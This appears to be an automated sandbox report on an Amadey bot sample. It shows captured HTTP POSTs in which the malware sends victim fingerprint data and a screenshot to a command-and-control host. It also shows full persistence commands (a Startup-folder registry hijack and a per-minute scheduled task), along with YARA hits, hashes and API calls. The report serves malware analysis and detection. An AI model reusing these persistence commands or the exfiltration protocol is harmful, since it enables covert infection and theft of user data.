Nov 29, 2024 01:53:23.829129934 CET	25956	OUT	Data Raw: a2 98 05 14 51 40 09 4b 5e af 71 66 b2 12 f1 e1 5f d3 b1 aa 8b 95 24 11 82 0e 08 af 8c 9f 16 b8 bd 68 ff 00 e4 df fd a9 f6 ab 84 13 ff 00 97 df f9 2f ff 00 6c 79 9e 28 af 54 43 5e 6d aa 7f c8 5e f7 fe bb bf fe 84 6b d5 ca 33 bf ed 19 ca 1c 9c b6 Data Ascii: Q@K^qf_$h/ly(TC^m^k3W<$g9VS((kp$o1QTe aGh+UFt^zQ8.%:VWi]]9oFU@hk_~4zWJnp\|8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49911	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:24.483777046 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49913	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:24.709474087 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----edaa48f9ea7e20f29ead8fcbe5fb1f54 Host: web.jsonpost.xyz Content-Length: 98554 Cache-Control: no-cache
Nov 29, 2024 01:53:24.709549904 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 64 61 61 34 38 66 39 65 61 37 65 32 30 66 32 39 65 61 64 38 66 63 62 65 35 66 62 31 66 35 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------edaa48f9ea7e20f29ead8fcbe5fb1f54Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:24.709598064 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:24.709614038 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:24.829660892 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:53:24.829720020 CET	2472	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:53:24.829865932 CET	2472	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:53:24.829940081 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:53:24.830009937 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:53:24.830048084 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:53:24.830106020 CET	3708	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49914	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:25.858565092 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49915	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:26.175827026 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7 Host: web.jsonpost.xyz Content-Length: 97961 Cache-Control: no-cache
Nov 29, 2024 01:53:26.175852060 CET	99	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 33 37 31 34 34 37 36 31 39 36 62 62 36 31 36 36 39 32 63 36 64 65 64 30 38 65 37 61 61 63 37 31 35 32 31 32 32 34 36 31 32 32 36 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e Data Ascii: ------b3714476196bb616692c6ded08e7aac7152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:26.175906897 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:26.176047087 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:26.296040058 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:53:26.296154976 CET	4944	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:53:26.296190023 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:53:26.296233892 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:53:26.296282053 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:53:26.296298981 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:53:26.296427011 CET	1236	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49921	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:27.344398975 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Target ID:	0
Start time:	19:51:53
Start date:	28/11/2024
Path:	C:\Users\user\Desktop\S7AGd447vH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\S7AGd447vH.exe"
Imagebase:	0x400000
File size:	410'635 bytes
MD5 hash:	5F5C1A5DF77079F56EB5A61D19666728
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Amadey_c4df8d4a, Description: unknown, Source: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmp, Author: unknown Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: unknown Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1704095067.0000000000910000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: 00000000.00000003.1704095067.0000000000910000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Amadey_c4df8d4a, Description: unknown, Source: 00000000.00000003.1704095067.0000000000910000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1704876629.0000000002221000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: 00000000.00000003.1704876629.0000000002221000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Amadey_c4df8d4a, Description: unknown, Source: 00000000.00000003.1704876629.0000000002221000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	19:51:58
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe"
Imagebase:	0x400000
File size:	410'635 bytes
MD5 hash:	5F5C1A5DF77079F56EB5A61D19666728
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000001.00000003.1833879370.000000000088D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000001.00000003.1817745095.000000000088D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1748937794.0000000000600000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: 00000001.00000003.1748937794.0000000000600000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Amadey_c4df8d4a, Description: unknown, Source: 00000001.00000003.1748937794.0000000000600000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000001.00000003.1806321286.000000000088D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000001.00000003.2074756510.000000000088D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000001.00000003.1872056759.000000000088D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1749767253.0000000002201000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: 00000001.00000003.1749767253.0000000002201000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Amadey_c4df8d4a, Description: unknown, Source: 00000001.00000003.1749767253.0000000002201000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:52:02
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:52:02
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:52:02
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN dllhost.exe /TR "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" /F
Imagebase:	0xd20000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:52:02
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:52:02
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\
Imagebase:	0x9c0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:52:04
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe
Imagebase:	0x400000
File size:	410'635 bytes
MD5 hash:	5F5C1A5DF77079F56EB5A61D19666728
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: 00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Amadey_c4df8d4a, Description: unknown, Source: 00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Amadey_c4df8d4a, Description: unknown, Source: 00000007.00000002.1820165445.0000000000428000.00000004.00000001.01000000.00000005.sdmp, Author: unknown Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.1820138863.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: 00000007.00000002.1820138863.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: unknown Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: 00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Amadey_c4df8d4a, Description: unknown, Source: 00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:53:01
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe
Imagebase:	0x400000
File size:	410'635 bytes
MD5 hash:	5F5C1A5DF77079F56EB5A61D19666728
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	53

Executed Functions

Function 00401F40 Relevance: 27.2, APIs: 18, Instructions: 157
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 00401F6A
GetProcessHeap.KERNEL32(00000008,?), ref: 00401F7F
HeapAlloc.KERNEL32(00000000), ref: 00401F82
GetUserNameW.ADVAPI32(00000000,?), ref: 00401F90
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 00401FB3
GetProcessHeap.KERNEL32(00000008,?), ref: 00401FBE
HeapAlloc.KERNEL32(00000000), ref: 00401FC1
GetProcessHeap.KERNEL32(00000008,?), ref: 00401FD1
HeapAlloc.KERNEL32(00000000), ref: 00401FD4
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 00401FFE
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00402011
GetProcessHeap.KERNEL32(00000000,?), ref: 004020A2
HeapFree.KERNEL32(00000000), ref: 004020AB
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004020B0
HeapFree.KERNEL32(00000000), ref: 004020B3
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004020BA
HeapFree.KERNEL32(00000000), ref: 004020BD
LocalFree.KERNEL32(00000000), ref: 004020C2

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: Heap$Process$FreeName$Alloc$AccountLookupUser$ConvertLocalString
String ID:
API String ID: 3326663573-0
Opcode ID: 2f31ebec3fe9f8993efa4e5ebf62337cafbb00ec17dfdc0651c846f209d830ad
Instruction ID: 1fdb30066f43f3f59f6a83a22fe7b12dcdb6b628cd19f67903b76f141601f4a5
Opcode Fuzzy Hash: 2f31ebec3fe9f8993efa4e5ebf62337cafbb00ec17dfdc0651c846f209d830ad
Instruction Fuzzy Hash: 1E516175E00219AFEB109FA5CD88FAFBB7CEF44344F05416AE905E3281DA749E05CBA4

Function 7FE42233 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 47
